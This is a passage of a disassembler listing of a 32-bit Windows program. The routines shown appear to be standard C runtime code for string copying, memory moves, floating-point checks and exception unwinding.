		jz	short loc_41C433
		test	eax, 0FF0000h
		jz	short loc_41C42E
		test	eax, 0FF000000h
		jnz	short loc_41C3FA


loc_41C42B:				; CODE XREF: sub_41C3D0+20j
		dec	edi
		jmp	short loc_41C43B
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3D0+52j
		sub	edi, 2
		jmp	short loc_41C43B
; ---------------------------------------------------------------------------


loc_41C433:				; CODE XREF: sub_41C3D0+4Bj
		sub	edi, 3
		jmp	short loc_41C43B
; ---------------------------------------------------------------------------


loc_41C438:				; CODE XREF: sub_41C3D0+47j
		sub	edi, 4


loc_41C43B:				; CODE XREF: sub_41C3D0+5Cj
					; sub_41C3D0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C450
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C49C
		jmp	short loc_41C46C
; ---------------------------------------------------------------------------


loc_41C450:				; CODE XREF: sub_41C3D0+75j
					; sub_41C3D0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C48A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C480
		test	esi, 3
		jnz	short loc_41C450
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C49C


loc_41C46C:				; CODE XREF: sub_41C3D0+7Ej
					; sub_41C3D0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C480


loc_41C473:				; CODE XREF: sub_41C3D0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C482
		dec	ecx
		jnz	short loc_41C473


loc_41C480:				; CODE XREF: sub_41C3D0+8Bj
					; sub_41C3D0+A1j
		mov	[edi], cl


loc_41C482:				; CODE XREF: sub_41C3D0+ABj
		pop	ebx
		pop	esi


loc_41C484:				; CODE XREF: sub_41C3D0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C48A:				; CODE XREF: sub_41C3D0+85j
					; sub_41C3D0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C494:				; CODE XREF: sub_41C3D0+E4j
					; sub_41C3D0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C46C


loc_41C49C:				; CODE XREF: sub_41C3D0+7Cj
					; sub_41C3D0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C494
		test	dl, dl
		jz	short loc_41C48A
		test	dh, dh
		jz	short loc_41C4E8
		test	edx, 0FF0000h
		jz	short loc_41C4D8
		test	edx, 0FF000000h
		jnz	short loc_41C494
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C4D8:				; CODE XREF: sub_41C3D0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C4E8:				; CODE XREF: sub_41C3D0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C3D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C500	proc near		; CODE XREF: sub_40BE0D+15p
					; sub_40BE0D+3Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C520
		cmp	edi, eax
		jb	loc_41C698


loc_41C520:				; CODE XREF: sub_41C500+16j
		test	edi, 3
		jnz	short loc_41C53C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C55C
		rep movsd
		jmp	ds:off_41C648[edx*4]
; ---------------------------------------------------------------------------


loc_41C53C:				; CODE XREF: sub_41C500+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C554
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41C55C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C554:				; CODE XREF: sub_41C500+46j
		jmp	dword ptr ds:loc_41C658[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C55C:				; CODE XREF: sub_41C500+31j
					; sub_41C500+8Ej ...
		jmp	ds:off_41C5DC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C570
		dd offset loc_41C59C
		dd offset loc_41C5C0
; ---------------------------------------------------------------------------


loc_41C570:				; DATA XREF: sub_41C500+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C55C
		rep movsd
		jmp	ds:off_41C648[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C59C:				; DATA XREF: sub_41C500+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C55C
		rep movsd
		jmp	ds:off_41C648[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C5C0:				; DATA XREF: sub_41C500+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C55C
		rep movsd
		jmp	ds:off_41C648[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C5DC	dd offset loc_41C63F	; DATA XREF: sub_41C500:loc_41C55Cr
		dd offset loc_41C62C
		dd offset loc_41C624
		dd offset loc_41C61C
		dd offset loc_41C614
		dd offset loc_41C60C
		dd offset loc_41C604
		dd offset loc_41C5FC
; ---------------------------------------------------------------------------


loc_41C5FC:				; CODE XREF: sub_41C500:loc_41C55Cj
					; DATA XREF: sub_41C500+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C604:				; CODE XREF: sub_41C500:loc_41C55Cj
					; DATA XREF: sub_41C500+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C60C:				; CODE XREF: sub_41C500:loc_41C55Cj
					; DATA XREF: sub_41C500+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C614:				; CODE XREF: sub_41C500:loc_41C55Cj
					; DATA XREF: sub_41C500+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C61C:				; CODE XREF: sub_41C500:loc_41C55Cj
					; DATA XREF: sub_41C500+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C624:				; CODE XREF: sub_41C500:loc_41C55Cj
					; DATA XREF: sub_41C500+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C62C:				; CODE XREF: sub_41C500:loc_41C55Cj
					; DATA XREF: sub_41C500+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C63F:				; CODE XREF: sub_41C500:loc_41C55Cj
					; DATA XREF: sub_41C500:off_41C5DCo
		jmp	ds:off_41C648[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C648	dd offset loc_41C658	; DATA XREF: sub_41C500+35r
					; sub_41C500+92r ...
		dd offset loc_41C660
		dd offset loc_41C66C
		dd offset loc_41C680
; ---------------------------------------------------------------------------


loc_41C658:				; CODE XREF: sub_41C500+35j
					; sub_41C500+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C660:				; CODE XREF: sub_41C500+35j
					; sub_41C500+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C66C:				; CODE XREF: sub_41C500+35j
					; sub_41C500+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C680:				; CODE XREF: sub_41C500+35j
					; sub_41C500+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C698:				; CODE XREF: sub_41C500+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C6CC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C6C0
		std
		rep movsd
		cld
		jmp	ds:off_41C7E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C6C0:				; CODE XREF: sub_41C500+1B1j
					; sub_41C500+208j ...
		neg	ecx
		jmp	dword ptr ds:loc_41C78F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C6CC:				; CODE XREF: sub_41C500+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C6E4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_41C6E4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C6E4:				; CODE XREF: sub_41C500+1D6j
					; DATA XREF: sub_41C500+1DDr
		jmp	ds:off_41C7E0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		clc
		mov	byte ptr [ecx+0], 18h
		mov	dword ptr [ecx+0], offset loc_41C740
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C6C0
		std
		rep movsd
		cld
		jmp	ds:off_41C7E0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C6C0
		std
		rep movsd
		cld
		jmp	ds:off_41C7E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C740:				; DATA XREF: sub_41C500+1F1o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C6C0
		std
		rep movsd
		cld
		jmp	ds:off_41C7E0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		xchg	eax, esp
		mov	dword ptr [ecx+0], offset loc_41C79C
		movsb
		mov	dword ptr [ecx+0], offset loc_41C7AC
		mov	ah, 0C7h
		inc	ecx
		add	[edi+eax*8-383BFFBFh], bh
		inc	ecx


loc_41C78F:				; DATA XREF: sub_41C500+1C2r
		add	bh, dl
		mov	dword ptr [ecx+0], 1C8E448Bh
		mov	[edi+ecx*4+1Ch], eax


loc_41C79C:				; DATA XREF: sub_41C500+275o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41C7AC:				; DATA XREF: sub_41C500+27Do
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C7D7:				; CODE XREF: sub_41C500+1C2j
		jmp	ds:off_41C7E0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C7E0	dd offset loc_41C7F0	; DATA XREF: sub_41C500+1B7r
					; sub_41C500:loc_41C6E4r ...
		dd offset loc_41C7F8
		dd offset loc_41C808
		dd offset loc_41C81C
; ---------------------------------------------------------------------------


loc_41C7F0:				; CODE XREF: sub_41C500+1B7j
					; sub_41C500:loc_41C6E4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C7F8:				; CODE XREF: sub_41C500+1B7j
					; sub_41C500:loc_41C6E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C808:				; CODE XREF: sub_41C500+1B7j
					; sub_41C500:loc_41C6E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C81C:				; CODE XREF: sub_41C500+1B7j
					; sub_41C500:loc_41C6E4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C835	proc near		; CODE XREF: sub_40BE55+40p
					; sub_40ED60+23Dp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41B1D0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420730
		add	esp, 10h
		leave
		retn
sub_41C835	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C869(double)

sub_41C869	proc near		; CODE XREF: sub_40CE7B+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_43CF20
		call	sub_421A09
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C8EF
		call	sub_4218D1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C8D2
		cmp	eax, 2
		jle	short loc_41C8C4
		cmp	eax, 3
		jnz	short loc_41C8D2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_4211E1
		add	esp, 10h
		jmp	short loc_41C934
; ---------------------------------------------------------------------------


loc_41C8C4:				; CODE XREF: sub_41C869+3Fj
		push	esi
		push	ebx
		call	sub_421A09
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C934
; ---------------------------------------------------------------------------


loc_41C8D2:				; CODE XREF: sub_41C869+3Aj
					; sub_41C869+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_428718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C92C
; ---------------------------------------------------------------------------


loc_41C8EF:				; CODE XREF: sub_41C869+2Fj
		call	sub_421896
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C912


loc_41C904:				; CODE XREF: sub_41C869+ACj
		push	esi
		push	ebx
		call	sub_421A09
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C934
; ---------------------------------------------------------------------------


loc_41C912:				; CODE XREF: sub_41C869+99j
		test	bl, 20h
		jnz	short loc_41C904
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C92C:				; CODE XREF: sub_41C869+84j
		call	sub_421234
		add	esp, 1Ch


loc_41C934:				; CODE XREF: sub_41C869+59j
					; sub_41C869+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C869	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C938	proc near		; CODE XREF: sub_41B974+9p
					; sub_421AD2+21p
					; DATA XREF: ...
		call	sub_41C950
		call	sub_421AD2
		mov	ds:dword_4DDF08, eax
		call	sub_421A82
		fnclex
		retn
sub_41C938	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C950	proc near		; CODE XREF: sub_41C938p
		mov	eax, offset sub_421EC0
		mov	ds:off_43F534, offset sub_421B55
		mov	ds:off_43F530, eax
		mov	ds:off_43F538, offset sub_421BBB
		mov	ds:off_43F53C, offset sub_421AFB
		mov	ds:off_43F540, offset sub_421BA3
		mov	ds:off_43F544, eax
		retn
sub_41C950	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C988	proc near		; CODE XREF: sub_40CE7B+1Bp
					; sub_40CE7B+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C988	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C9AF(double)

sub_41C9AF	proc near		; CODE XREF: sub_40CEC7+83p
					; sub_40D83A+3AEp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	ds:dword_43CF38
		call	sub_421A09
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41CA35
		call	sub_4218D1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41CA18
		cmp	eax, 2
		jle	short loc_41CA0A
		cmp	eax, 3
		jnz	short loc_41CA18
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_4211E1
		add	esp, 10h
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA0A:				; CODE XREF: sub_41C9AF+3Fj
		push	esi
		push	ebx
		call	sub_421A09
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA18:				; CODE XREF: sub_41C9AF+3Aj
					; sub_41C9AF+44j
		fld	[ebp+arg_0]
		fadd	ds:dbl_428718
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41CA72
; ---------------------------------------------------------------------------


loc_41CA35:				; CODE XREF: sub_41C9AF+2Fj
		call	sub_421896
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41CA58


loc_41CA4A:				; CODE XREF: sub_41C9AF+ACj
		push	esi
		push	ebx
		call	sub_421A09
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA58:				; CODE XREF: sub_41C9AF+99j
		test	bl, 20h
		jnz	short loc_41CA4A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41CA72:				; CODE XREF: sub_41C9AF+84j
		call	sub_421234
		add	esp, 1Ch


loc_41CA7A:				; CODE XREF: sub_41C9AF+59j
					; sub_41C9AF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA7E	proc near		; CODE XREF: sub_422331+71p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41CA7E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41CAB2	proc near		; CODE XREF: sub_4224E2+199p
					; sub_4226A6+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41CAB2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CAB9	proc near		; CODE XREF: sub_4224E2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41CAB9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAC0	proc near		; CODE XREF: sub_41CC72+5Cp
					; sub_422331:loc_422362p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41CAE8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426A1E	; RtlUnwind


loc_41CAE8:				; DATA XREF: sub_41CAC0+11o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp+var_8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_41CAC0	endp

; ---------------------------------------------------------------------------


loc_41CB0F:				; CODE XREF: seg000:004270C0j
					; seg000:004270DDj ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421F36
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB45	proc near		; CODE XREF: sub_4223AC+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41CB99
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422730
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41CB45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CB99	proc near		; DATA XREF: sub_41CB45+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421F36
		add	esp, 20h
		pop	ebp
		retn
sub_41CB99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CBBE	proc near		; CODE XREF: sub_422178+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CC72
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CC44
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	ds:dword_4DDF64
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CC44:				; DATA XREF: sub_41CBBE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CC61
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CC6A
; ---------------------------------------------------------------------------


loc_41CC61:				; CODE XREF: sub_41CBBE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CC6A:				; CODE XREF: sub_41CBBE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CBBE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC72	proc near		; DATA XREF: sub_41CBBE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
